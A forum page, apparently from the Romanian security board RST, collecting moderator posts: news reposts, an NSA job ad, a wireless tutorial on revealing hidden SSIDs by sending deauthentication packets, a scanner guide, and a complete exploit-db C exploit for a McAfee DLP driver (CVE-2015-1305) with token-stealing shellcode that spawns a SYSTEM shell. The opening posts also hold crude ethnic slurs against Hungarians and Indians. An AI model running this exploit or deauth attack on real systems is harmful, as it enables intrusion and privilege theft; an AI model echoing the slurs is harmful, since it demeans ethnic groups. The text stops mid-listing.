Nytro

Am modificat titlul. No, futu-ti natia ma-tii de bozgor jegos, pune mana pe o carte adevarata de istorie si citeste-o, nu pe jegurile pe care le-ati primit voi de la cacatii vostri. Pentru cine nu stie, astia sunt invatati de mici ca Ardealul e al lor. @TheTime poate sa afirme. Cine vrea sa afle mai multe sa il citeasca pe Neagu Djuvara, va dau eu carte daca sunteti din Bucuresti, si demonstreaza cum atat limba cat si pamantul sunt romanesti.

I-am pus un titlu adecvat.

BIG SHIT. Sa-i fut in inima pe toti indienii aia nespalati. Jegosii astia au luat 95% Copy/Paste din advisory-ul initial si l-au publicat ca si cum ar fi facut cine stie ce studiu independent. MUIE INDIA!

[h=1]The Pirate Bay returns from the dead, comes back online[/h] Following a raid on a Swedish data center late last year, The Pirate Bay was taken offline for just shy of two months before returning online fully today. The site appears to be fully working on its original domain, with the last uploaded torrent appearing on December 9, the day the site was taken down. The first new torrent contains an image of a phoenix and was uploaded today titled “like a phoenix, it rises from the ashes” said “The Pirate Bay is back.” Torrentfreak reported earlier this week that the previous moderators and admins may be locked out of the revived site, but it’s not clear if that is the case just yet. Even though the site is operational, some functions like the RSS feed don’t work just yet. We also don’t know anything about who’s behind it or if they’re part of the original team. Peter Sunde, co-founder of the site said previously that “it feels good that it might have closed down forever, just a real shame the way it did that.” Perhaps The Pirate Bay is a site that truly never goes offline forever. Sursa: The Pirate Bay Returns From The Dead

[TABLE=class: PSPAGECONTAINER, width: 591] [TR] [TD=colspan: 8, align: left]Job Description [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 7, align: left] [TABLE=class: PABACKGROUNDINVISIBLE] [TR] [TD=width: 7][/TD] [TD=width: 1][/TD] [TD=width: 123][/TD] [TD=width: 2][/TD] [TD=width: 36][/TD] [TD=width: 49][/TD] [TD=width: 84][/TD] [TD=width: 267][/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 2, align: left] Job Title: [/TD] [TD=colspan: 4][/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 4, align: left] Exploitation Analyst [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 2, align: left] Job ID: [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 4, align: left] 1050361 [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=align: left] Location: [/TD] [TD=colspan: 5, align: left] Honolulu, HI;San Antonio, TX [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 3, align: left] Occupational Group: [/TD] [TD=colspan: 4][/TD] [/TR] [TR] [TD][/TD] [TD=align: left] 0132 [/TD] [TD=colspan: 3, align: left] Intelligence [/TD] [/TR] [TR] [TD][/TD] [TD][/TD] [TD=align: left] Pay Plan: [/TD] [TD][/TD] [/TR] [TR] [TD][/TD] [TD=align: left] GG [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 2, align: left] Full/Part Time: [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 2, align: left] Full-Time [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 2, align: left] Regular/Temporary: [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=colspan: 4, align: left] Regular [/TD] [/TR] [/TABLE] [/TD] [TD=colspan: 2][/TD] [/TR] [TR] [TD=colspan: 9][/TD] [/TR] [/TABLE] [TABLE=class: PABACKGROUNDINVISIBLE, width: 561] [TR] [TD][/TD] [TD=colspan: 2, align: left] Qualifications [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] Our nation has entered a new era that brings profound changes to the way the National Security Agency conducts its mission. The explosion of the World Wide Web has created a need for the Computer Network Operations (CNO) mission. This very important mission is comprised of network defense and computer network exploitation. In order to carry out these functions NSA is looking for people who are highly skilled and impassioned about winning the war in cyberspace. These are NOT your average Computer Science or Engineering jobs! As an Exploitation Analyst you will evaluate target opportunities and strategize activities against particular networks. Use all source data to understand and map target networks. You may assist in developing detailed Exploitation and Operations Plans to be executed by CNO Operators. Entry is with a High School Diploma and 8 years of experience, or an Associate's Degree and 7 years of experience, or a Bachelor's Degree and 5 years of experience, or a Post-Baccalaureate Certificate and 4 years of experience, or a Master's Degree and 3 years of experience, or a Doctoral Degree and no experience. *Ideal candidates should possess related technical degree (e.g., Telecommunications, Computer Science, Engineering, Mathematics, Physics, Computer Forensics, Cyber Security, IT, or Information Systems, Networking and Telecommunications, other degrees may be considered if with relevant experience) *Experience in networking (IT and wireless), telecommunications, IT support, infrastructure support, programming, field engineering, vulnerability analysis, penetration testing, computer forensics, cyber security, systems administration or related experience. *Digital Network Intelligence (DNI) related experience. *Experience with military training in a relevant area such as JCAC, DNA, NCS NETA courses or relevant UMBC courses, etc. *Sans, CISSP, DoD570, and other relevant certifications [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=align: left] . [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] Pay, Benefits, & Work Schedule [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] Positions Available in Hawaii Successful candidates will receive a specific offer based upon their skills and educational background. SALARY RANGE: $64,280 to $95,972 *Candidates hired for a position in Hawaii may be eligible to receive an annual recruitment incentive, not to exceed three years. TRAINING: Management strongly supports continuing education and career development. DUTY SCHEDULE: This office participates in the Alternate Work Schedule. [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=align: left] . [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] How To Apply - External [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] To apply for this position, please click the 'Apply Now' button located at the top or bottom of this page. After completing the application and clicking the 'Submit Final' button, you will receive a confirmation email. Emails regarding your application status will be sent periodically. Please ensure your spam filters are configured to accept emails from noreply@nsa.gov. ***PLEASE NOTE: U.S. Citizenship is required for all applicants. Reasonable accommodations provided to applicants with disabilities during the application and hiring process where appropriate. NSA is an equal opportunity employer and abides by applicable employment laws and regulations. All applicants and employees are subject to random drug testing in accordance with Executive Order 12564. Employment is contingent upon successful completion of a security background investigation and polygraph. This position is a Defense Civilian Intelligence Personnel System (DCIPS) position in the Excepted Service under 10 U.S.C. 1601. DoD Components with DCIPS positions apply Veterans' Preference to eligible candidates as defined by Section 2108 of Title 5 USC, in accordance with the procedures provided in DoD Instruction 1400.25, Volume 2005, DCIPS Employment and Placement. If you are a veteran claiming veterans' preference, as defined by Section 2108 of Title 5 U.S.C., you must submit documents verifying your eligibility with your application package. [/TD] [/TR] [TR] [TD=colspan: 2][/TD] [TD=align: left] . [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] DCIPS Disclaimer [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] [/TD] [/TR] [TR] [TD][/TD] [TD=colspan: 2, align: left] The National Security Agency (NSA) is part of the DoD Intelligence Community Defense Civilian Intelligence Personnel System (DCIPS). All positions in the NSA are in the Excepted Services under 10 United States Codes (USC) 1601 appointment authority.[/TD] [/TR] [/TABLE] Link: https://www.nsa.gov/psp/applyonline/EMPLOYEE/HRMS/c/HRS_HRAM.HRS_CE.GBL?Page=HRS_CE_JOB_DTL&Action=A&JobOpeningId=1050361&SiteId=1&PostingSeq=1

Uncovering Hidden SSIDs By default every access point is broadcasting the SSID in the beacon frames. Sometimes network administrators might choose to configure the AP not to broadcast the SSID because they are thinking that they will avoid attacks just because if a malicious user doesn’t know that a network exist how he is going to attack it? Even though that hiding the wireless network name is a good choice however this doesn’t offer any security as it is relative easy for a determined attacker to discover it. The first step is to create a monitor mode interface in order to be able to sniff wireless packets. Enable Monitor Mode Interface Then we will use the airodump-ng mon0 in order to start capturing raw 802.11 frames which they will contain all the available wireless networks of the area. As we can see from the image below there is only one network which doesn’t broadcasting the SSID. Hidden Wireless Network Alternatively we can check the beacon frames in wireshark and we will notice that the SSID is hidden. Beacon Frames – Hidden Wireless SSID There are two ways to obtain the SSID for a wireless network that is not broadcasting. Passive Active In the passive we will have to wait for a legitimate client to connect to the access point while we are monitoring the wireless traffic and to examine the Probe Request and Probe Response packets which will contain the SSID of the network. Probe Response Packet contains the SSID This technique is stealthier than the active and it can be used in a scenario when we are attacking a corporate wireless network especially in the morning when there will be a variety of devices that will try to connect and unveil it’s presence. The other method is to send directly deauthentication packets to all the clients on behalf of the access point which in this case is the Wireless Pentest Lab. This will force all the devices that are connected to the access point to disconnect and reconnect which again Probe response packets will be generated that will reveal the cloaked SSID. We can send the deauthentication packets with the use of aireplay-ng as it can be seen below: Sending deuathentication packets The value 5 is actually the number of deauthentication packets that we want to send and the -a specifies the MAC address of the access point. As we can see in the next screenshot after the deauthentication packets the probe response packets are generated again and because of these packets are not encrypted they unveil the wireless SSID. Generation of Probe Response Packets Sursa: https://pentestlab.wordpress.com/2015/01/31/uncovering-hidden-ssids/

[h=1]JADX - Java source code from Android Dex and Apk files [/h] Lydecker Black on 12:31 PM Command line and GUI tools for produce Java source code from Android Dex and Apk files. Usage jadx[-gui] [options] <input file> (.dex, .apk, .jar or .class) options: -d, --output-dir - output directory -j, --threads-count - processing threads count -f, --fallback - make simple dump (using goto instead of 'if', 'for', etc) --cfg - save methods control flow graph to dot file --raw-cfg - save methods control flow graph (use raw instructions) -v, --verbose - verbose output -h, --help - print this help Example: jadx -d out classes.dex Download JADX Sursa: JADX - Java source code from Android Dex and Apk files | KitPloit

Nu a dorit sa se afle ce username are aici. Deci cei care stiti, pastrati pentru voi.

Am scos chat-ul pentru o perioada de timp. Era folosit doar pentru porcarii si aducea probleme pe forum: ban-uri, certuri si mai stiu eu ce. Nu veniti cu cacaturile de pe chat pe forum ca primiti direct ban. Fara offtopic, fara thread-uri de 2 lei. Nu mai sunteti copii.

Posted: Friday, January 30, 2015 Tweet Posted by Eduardo Vela Nava, Security Engineer Since 2010, our Security Reward Programs have been a cornerstone of our relationship with the security research community. These programs have been successful because of two core beliefs: Security researchers should be rewarded for helping us protect Google's users. Researchers help us understand how to make Google safer by discovering, disclosing, and helping fix vulnerabilities at a scale that’s difficult to replicate by any other means. We’re grateful for the terrific work these researchers do to help keep users safe. And so, we wanted to take a look back at 2014 to celebrate their contributions to Google, and in turn, our contributions back to them. Looking back on 2014 Our Security Reward Programs continue to grow at a rapid clip. We’ve now paid more than $4,000,000 in rewards to security researchers since 2010 across all of our reward programs, and we’re looking forward to more great years to come. In 2014: We paid researchers more than $1,500,000. Our largest single reward was $150,000. The researcher then joined us for an internship. We rewarded more than 200 different researchers. We rewarded more than 500 bugs. For Chrome, more than half of all rewarded reports for 2014 were in developer and beta versions. We were able to squash bugs before they could reach our main user population. [TABLE=class: tr-caption-container, align: center] [TR] [TD=align: center][/TD] [/TR] [TR] [TD=class: tr-caption, align: center]The top three contributors to the VRP program in 2014 during a recent visit to Google Zurich: Adrian (Romania), Tomasz (Poland / UK), Nikolai (Ukraine)[/TD] [/TR] [/TABLE] What’s new for 2015 We are announcing two additions to our programs today. First, researchers' efforts through these programs, combined with our own internal security work, make it increasingly difficult to find bugs. Of course, that's good news, but it can also be discouraging when researchers invest their time and struggle to find issues. With this in mind, today we're rolling out a new, experimental program: Vulnerability Research Grants. These are up-front awards that we will provide to researchers before they ever submit a bug. Here’s how the program works: We'll publish different types of vulnerabilities, products and services for which we want to support research beyond our normal vulnerability rewards. We'll award grants immediately before research begins, with no strings attached. Researchers then pursue the research they applied for, as usual. There will be various tiers of grants, with a maximum of $3,133.70 USD. On top of the grant, researchers are still eligible for regular rewards for the bugs they discover. To learn more about the current grants, and review your eligibility, have a look at our rules page. Second, also starting today, all mobile applications officially developed by Google on Google Play and iTunes will now be within the scope of the Vulnerability Reward Program. We’re looking forward to continuing our close partnership with the security community and rewarding them for their time and efforts in 2015! Ati ghicit, e membru RST. Sursa: http://googleonlinesecurity.blogspot.ro/2015/01/security-reward-programs-year-in-review.html

Adobe Reader X and XI for Windows out-of-bounds write in CoolType.dll Reported by mjurc.. @google.com (No comment was entered for this change.) [TABLE] [TR] [TD=width: 20] [/TD] [TD] signal_sigsegv_f753bec6_7517_6052.zip 2.0 MB Download [/TD] [/TR] [/TABLE] [TABLE] [TR] [TD] [/TD] [TD] 6052.zip 1.9 MB Download[/TD] [/TR] [/TABLE] Sursa: https://code.google.com/p/google-security-research/issues/detail?id=144

[h=1]McAfee Data Loss Prevention Endpoint - Arbitrary Write Privilege Escalation[/h] /* Exploit Title - McAfee Data Loss Prevention Endpoint Arbitrary Write Privilege Escalation Date - 29th January 2015 Discovered by - Parvez Anwar (@parvezghh) Vendor Homepage - http://www.mcafee.com Tested Version - 9.3.200.23 Driver Version - 9.3.200.23 - hdlpctrl.sys Tested on OS - 32bit Windows XP SP3 and Windows 2003 Server SP2 OSVDB - http://www.osvdb.org/show/osvdb/117345 CVE ID - CVE-2015-1305 Vendor fix url - https://kc.mcafee.com/corporate/index?page=content&id=SB10097 Fixed version - 9.3.400 Fixed driver ver - */ #include <stdio.h> #include <windows.h> #define BUFSIZE 4096 typedef struct _SYSTEM_MODULE_INFORMATION_ENTRY { PVOID Unknown1; PVOID Unknown2; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT NameLength; USHORT LoadCount; USHORT PathLength; CHAR ImageName[256]; } SYSTEM_MODULE_INFORMATION_ENTRY, *PSYSTEM_MODULE_INFORMATION_ENTRY; typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Count; SYSTEM_MODULE_INFORMATION_ENTRY Module[1]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION; typedef enum _SYSTEM_INFORMATION_CLASS { SystemModuleInformation = 11, SystemHandleInformation = 16 } SYSTEM_INFORMATION_CLASS; typedef NTSTATUS (WINAPI *_NtQuerySystemInformation)( SYSTEM_INFORMATION_CLASS SystemInformationClass, PVOID SystemInformation, ULONG SystemInformationLength, PULONG ReturnLength); typedef NTSTATUS (WINAPI *_NtQueryIntervalProfile)( DWORD ProfileSource, PULONG Interval); typedef void (*FUNCTPTR)(); // Windows XP SP3 #define XP_KPROCESS 0x44 // Offset to _KPROCESS from a _ETHREAD struct #define XP_TOKEN 0xc8 // Offset to TOKEN from the _EPROCESS struct #define XP_UPID 0x84 // Offset to UniqueProcessId FROM the _EPROCESS struct #define XP_APLINKS 0x88 // Offset to ActiveProcessLinks _EPROCESS struct // Windows Server 2003 #define W2K3_KPROCESS 0x38 // Offset to _KPROCESS from a _ETHREAD struct #define W2K3_TOKEN 0xd8 // Offset to TOKEN from the _EPROCESS struct #define W2K3_UPID 0x94 // Offset to UniqueProcessId FROM the _EPROCESS struct #define W2K3_APLINKS 0x98 // Offset to ActiveProcessLinks _EPROCESS struct BYTE token_steal_xp[] = { 0x52, // push edx Save edx on the stack 0x53, // push ebx Save ebx on the stack 0x33,0xc0, // xor eax, eax eax = 0 0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,XP_KPROCESS, // mov eax, [eax+XP_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax 0x8b,0x98,XP_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+XP_TOKEN] Retrieves TOKEN 0x8b,0x80,XP_APLINKS,0x00,0x00,0x00, // mov eax, [eax+XP_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,XP_APLINKS,0x00,0x00,0x00, // sub eax, XP_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,XP_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00, // cmp [eax+XP_UPID], 4 | Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,XP_TOKEN,0x00,0x00,0x00, // mov edx, [eax+XP_TOKEN] Retrieves TOKEN and stores on EDX 0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX 0x89,0x90,XP_TOKEN,0x00,0x00,0x00, // mov [eax+XP_TOKEN], edx Overwrites the TOKEN for the current KPROCESS 0x5b, // pop ebx Restores ebx 0x5a, // pop edx Restores edx 0xc2,0x08 // ret 8 }; BYTE token_steal_w2k3[] = { 0x52, // push edx Save edx on the stack 0x53, // push ebx Save ebx on the stack 0x33,0xc0, // xor eax, eax eax = 0 0x64,0x8b,0x80,0x24,0x01,0x00,0x00, // mov eax, fs:[eax+124h] Retrieve ETHREAD 0x8b,0x40,W2K3_KPROCESS, // mov eax, [eax+W2K3_KPROCESS] Retrieve _KPROCESS 0x8b,0xc8, // mov ecx, eax 0x8b,0x98,W2K3_TOKEN,0x00,0x00,0x00, // mov ebx, [eax+W2K3_TOKEN] Retrieves TOKEN 0x8b,0x80,W2K3_APLINKS,0x00,0x00,0x00, // mov eax, [eax+W2K3_APLINKS] <-| Retrieve FLINK from ActiveProcessLinks 0x81,0xe8,W2K3_APLINKS,0x00,0x00,0x00, // sub eax, W2K3_APLINKS | Retrieve _EPROCESS Pointer from the ActiveProcessLinks 0x81,0xb8,W2K3_UPID,0x00,0x00,0x00,0x04,0x00,0x00,0x00,// cmp [eax+W2K3_UPID], 4 | Compares UniqueProcessId with 4 (System Process) 0x75,0xe8, // jne ---- 0x8b,0x90,W2K3_TOKEN,0x00,0x00,0x00, // mov edx, [eax+W2K3_TOKEN] Retrieves TOKEN and stores on EDX 0x8b,0xc1, // mov eax, ecx Retrieves KPROCESS stored on ECX 0x89,0x90,W2K3_TOKEN,0x00,0x00,0x00, // mov [eax+W2K3_TOKEN], edx Overwrites the TOKEN for the current KPROCESS 0x5b, // pop ebx Restores ebx 0x5a, // pop edx Restores edx 0xc2,0x08 // ret 8 Away from the kernel }; DWORD HalDispatchTableAddress() { _NtQuerySystemInformation NtQuerySystemInformation; PSYSTEM_MODULE_INFORMATION pModuleInfo; DWORD HalDispatchTable; CHAR kFullName[256]; PVOID kBase = NULL; LPSTR kName; HMODULE Kernel; FUNCTPTR Hal; ULONG len; NTSTATUS status; NtQuerySystemInformation = (_NtQuerySystemInformation)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQuerySystemInformation"); if (!NtQuerySystemInformation) { printf("[-] Unable to resolve NtQuerySystemInformation\n\n"); return -1; } status = NtQuerySystemInformation(SystemModuleInformation, NULL, 0, &len); if (!status) { printf("[-] An error occured while reading NtQuerySystemInformation. Status = 0x%08x\n\n", status); return -1; } pModuleInfo = (PSYSTEM_MODULE_INFORMATION)GlobalAlloc(GMEM_ZEROINIT, len); if(pModuleInfo == NULL) { printf("[-] An error occurred with GlobalAlloc for pModuleInfo\n\n"); return -1; } status = NtQuerySystemInformation(SystemModuleInformation, pModuleInfo, len, &len); memset(kFullName, 0x00, sizeof(kFullName)); strcpy_s(kFullName, sizeof(kFullName)-1, pModuleInfo->Module[0].ImageName); kBase = pModuleInfo->Module[0].Base; printf("[i] Kernel base name %s\n", kFullName); kName = strrchr(kFullName, '\\'); Kernel = LoadLibraryA(++kName); if(Kernel == NULL) { printf("[-] Failed to load kernel base\n\n"); return -1; } Hal = (FUNCTPTR)GetProcAddress(Kernel, "HalDispatchTable"); if(Hal == NULL) { printf("[-] Failed to find HalDispatchTable\n\n"); return -1; } printf("[i] HalDispatchTable address 0x%08x\n", Hal); printf("[i] Kernel handle 0x%08x\n", Kernel); printf("[i] Kernel base address 0x%08x\n", kBase); HalDispatchTable = ((DWORD)Hal - (DWORD)Kernel + (DWORD)kBase); printf("[+] Kernel address of HalDispatchTable 0x%08x\n", HalDispatchTable); if(!HalDispatchTable) { printf("[-] Failed to calculate HalDispatchTable\n\n"); return -1; } return HalDispatchTable; } int GetWindowsVersion() { int v = 0; DWORD version = 0, minVersion = 0, majVersion = 0; version = GetVersion(); minVersion = (DWORD)(HIBYTE(LOWORD(version))); majVersion = (DWORD)(LOBYTE(LOWORD(version))); if (minVersion == 1 && majVersion == 5) v = 1; // "Windows XP; if (minVersion == 1 && majVersion == 6) v = 2; // "Windows 7"; if (minVersion == 2 && majVersion == 5) v = 3; // "Windows Server 2003; return v; } void spawnShell() { STARTUPINFOA si; PROCESS_INFORMATION pi; ZeroMemory(?, sizeof(pi)); ZeroMemory(&si, sizeof(si)); si.cb = sizeof(si); si.cb = sizeof(si); si.dwFlags = STARTF_USESHOWWINDOW; si.wShowWindow = SW_SHOWNORMAL; if (!CreateProcess(NULL, "cmd.exe", NULL, NULL, TRUE, CREATE_NEW_CONSOLE, NULL, NULL, &si, ?)) { printf("\n[-] CreateProcess failed (%d)\n\n", GetLastError()); return; } CloseHandle(pi.hThread); CloseHandle(pi.hProcess); } int main(int argc, char *argv[]) { _NtQueryIntervalProfile NtQueryIntervalProfile; LPVOID input[1] = {0}; LPVOID addrtoshell; HANDLE hDevice; DWORD dwRetBytes = 0; DWORD HalDispatchTableTarget; ULONG time = 0; unsigned char devhandle[MAX_PATH]; printf("-------------------------------------------------------------------------------\n"); printf("McAfee Data Loss Prevention Endpoint (hdlpctrl.sys) Arbitrary Write EoP Exploit\n"); printf(" Tested on Windows XP SP3/Windows Server 2003 SP2 (32bit) \n"); printf("-------------------------------------------------------------------------------\n\n"); if (GetWindowsVersion() == 1) { printf("[i] Running Windows XP\n"); } if (GetWindowsVersion() == 3) { printf("[i] Running Windows Server 2003\n"); } if (GetWindowsVersion() == 0) { printf("[i] Exploit not supported on this OS\n\n"); return -1; } sprintf(devhandle, "\\\\.\\%s", "devbkctrl"); NtQueryIntervalProfile = (_NtQueryIntervalProfile)GetProcAddress(GetModuleHandle("ntdll.dll"), "NtQueryIntervalProfile"); if (!NtQueryIntervalProfile) { printf("[-] Unable to resolve NtQueryIntervalProfile\n\n"); return -1; } addrtoshell = VirtualAlloc(NULL, BUFSIZE, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE); if(addrtoshell == NULL) { printf("[-] VirtualAlloc allocation failure %.8x\n\n", GetLastError()); return -1; } printf("[+] VirtualAlloc allocated memory at 0x%.8x\n", addrtoshell); memset(addrtoshell, 0x90, BUFSIZE); if (GetWindowsVersion() == 1) { memcpy(addrtoshell, token_steal_xp, sizeof(token_steal_xp)); printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_xp)); } if (GetWindowsVersion() == 3) { memcpy(addrtoshell, token_steal_w2k3, sizeof(token_steal_w2k3)); printf("[i] Size of shellcode %d bytes\n", sizeof(token_steal_w2k3)); } hDevice = CreateFile(devhandle, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING , 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("[-] CreateFile open %s device failed (%d)\n\n", devhandle, GetLastError()); return -1; } else { printf("[+] Open %s device successful\n", devhandle); } HalDispatchTableTarget = HalDispatchTableAddress() + sizeof(DWORD); printf("[+] HalDispatchTable+4 (0x%08x) will be overwritten\n", HalDispatchTableTarget); input[0] = addrtoshell; // input buffer contents gets written to our output buffer address printf("[+] Input buffer contents %08x\n", input[0]); printf("[~] Press any key to send Exploit . . .\n"); getch(); DeviceIoControl(hDevice, 0x00224014, input, sizeof(input), (LPVOID)HalDispatchTableTarget, 0, &dwRetBytes, NULL); printf("[+] Buffer sent\n"); CloseHandle(hDevice); printf("[+] Spawning SYSTEM Shell\n"); NtQueryIntervalProfile(2, &time); spawnShell(); return 0; } Sursa: http://www.exploit-db.com/exploits/35953/

NSCAN: FAST INTERNET WIDE SCANNER NSCAN: FAST INTERNET WIDE SCANNER Nscan is a fast Network scanner optimized for internet-wide scanning purposes and inspired by Masscan and Zmap. It has it's own tiny TCP/IP stack and uses Raw sockets to send TCP SYN probes. It doesn't need to set SYN Cookies so it doesn't wastes time checking if a received packet is a result of it's own scan, that makes Nscan faster than other similar scanners. Nscan has a cool feature that allows you to extend your scan by chaining found ip:port to another scripts where they might check for vulnerabilities, exploit targets, look for Proxies/VPNs... Nscan is a free tool, but consider donating here: 1Gi5Rpz5RBEUpGknSwyRgqzk7b5bQ7Abp2 Getting Nscan to Work Installing Nscan on Debian/Ubuntu boxes: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 3 [/TD] [TD=class: code]$ git clone https://github.com/OffensivePython/Nscan $ cd Nscan/nscan $ chmod +x nscan.py[/TD] [/TR] [/TABLE] Check if Nscan executes: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 [/TD] [TD=class: code]$ ./nscan.py Usage: nscan.py x.x.x.x/x [options] nscan.py iface load/unload : Load/Unload Nscan alias interface nscan.py resume filename.conf: resume previous scan Options: -h, --help show this help message and exit -p PORTS, --port=PORTS Port(s) number (e.g. -p21-25,80) -t THREADS, --threads=THREADS Threads used to send packets (default=1) --import=IMPORTS Nscan scripts to import (e.g. --import=ssh_key:22+check_proxy:80-85,8080) -b, --banner Fetch banners -n COUNT Number of results to get -o FILE, --output=FILE Output file -c N,T, --cooldown=N,T Every N (int) packets sent sleep P (float) (Default=1000,1)[/TD] [/TR] [/TABLE] Usage Nscan is simple to use, it works just the way you expect. If this your first run, you need to load nscan alias interface before launching a Scan ? [TABLE=width: 948] [TR] [TD=class: gutter] 1 2 3 4 5 6 [/TD] [TD=class: code]$ ./nscan.py iface load Press enter key to load nscan alias interface [....] Running /etc/init.d/networking restart is deprecated because it may not [warnable some interfaces ... (warning). [ ok ] Reconfiguring network interfaces...done. Nscan alias interface loaded: 10.0.2.16[/TD] [/TR] [/TABLE] Simple Scan To scan your local network for port 22,80: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 [/TD] [TD=class: code]$ ./nscan.py 192.168.0.0/16 -p22,80 _ __ / | / /_____________ _____ / |/ / ___/ ___/ __ `/ __ \ / /| (__ ) /__/ /_/ / / / / /_/ |_/____/\___/\__,_/_/ /_/ @offensivePython 1.0 URL: https://github.com/OffensivePython/Nscan Scanning [192.168.0.0 -> 192.169.0.0] (65536 hosts/2 ports) [MAIN] Starting the scan (Fri Jan 30 07:11:02 2015) ...[/TD] [/TR] [/TABLE] This scans the 65536 hosts in your local network Scanning the Entire Internet Scan the entire IPv4 address space for port 80 ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 0.0.0.0/0 -p80[/TD] [/TR] [/TABLE] Multithreading the Scan use '-t' to specify how many sending thread you want to use, it decreases the elapsed time of the scan by n times: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 192.168.0.0/16 -p3389,5900-5910 -t3[/TD] [/TR] [/TABLE] This splits the 65536 hosts in 3 ranges (3 threads), every thread is going to scan 21845 host Grabbing banners and Saving logs in a file use '-b' to grab banners and '-o' to save logs in a file ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 192.168.0.0/16 -p3389,5900-5910 -t3 -b -o nscan.log[/TD] [/TR] [/TABLE] Scanning to find N results In order to stop the scan after receiving 10 results: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py 192.168.0.0/16 -p443 -b -n10[/TD] [/TR] [/TABLE] Importing Nscripts To import Nscripts, use '--import' with filename (without extension '.py') and specify the port and/or range of ports ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 [/TD] [TD=class: code]$ ./nscan.py xxx.xxx.161.152/24 -p1080 --import=proxy:1080 _ __ / | / /_____________ _____ / |/ / ___/ ___/ __ `/ __ \ / /| (__ ) /__/ /_/ / / / / /_/ |_/____/\___/\__,_/_/ /_/ @offensivePython 1.0 URL: https://github.com/OffensivePython/Nscan Scanning [xxx.xxx.161.152 -> xxx.xxx.162.0] (104 hosts/1 ports) [MAIN] Starting the scan (Fri Jan 30 09:14:14 2015) [sEND] Sent: 104 packets [RECV] Received: 7 packets [MAIN] xxx.xxx.161.152:1080 [MAIN] xxx.xxx.161.173:1080 [MAIN] xxx.xxx.161.195:1080 [MAIN] xxx.xxx.161.196:1080 [MAIN] xxx.xxx.161.194:1080 [MAIN] xxx.xxx.161.239:1080 [MAIN] xxx.xxx.161.193:1080 [PROXY] xxx.xxx.161.152:1080 | SOCKS4 [PROXY] xxx.xxx.161.195:1080 | SOCKS4 [PROXY] xxx.xxx.161.196:1080 | SOCKS4 [PROXY] xxx.xxx.161.194:1080 | SOCKS4 [PROXY] xxx.xxx.161.193:1080 | SOCKS4 [MAIN] Packets sent in 0.0 minutes [MAIN] Total elapsed time: 0.7 minutes [MAIN] Done (Fri Jan 30 09:14:58 2015)[/TD] [/TR] [/TABLE] Every ip has the port 1080 open, will be chained to the Nscript proxy, which checks if a SOCKS service is running behind it. This will chain every ip:port that has the port 1080,3127,3128,3129 open: ? [TABLE=width: 679] [TR] [TD=class: gutter] 1 [/TD] [TD=class: code]$ ./nscan.py xxx.xxx.xxx.xxx/xx -p8080,1080,3127-3129 --import=proxy:1080,3127-3129[/TD] [/TR] [/TABLE] P.S: Port 8080 will not be chained to the script, since it's not specified Suspending/Resuming a Scan If you have a large range of hosts to scan, and your bandwidth can't finish the scan really quick, You can suspend a scan and resume it later where it's stopped. To suspend a running scan, hit [CTRL]+C, Nscan will save where it's paused in 'resume.conf'. The resume configuration file looks something like this: ? [TABLE=width: 592] [TR] [TD=class: gutter] 1 2 3 4 5 6 7 8 9 10 11 [/TD] [TD=class: code]$ cat resume.conf [NSCAN] hosts = [167772160, 184549376L] ports = 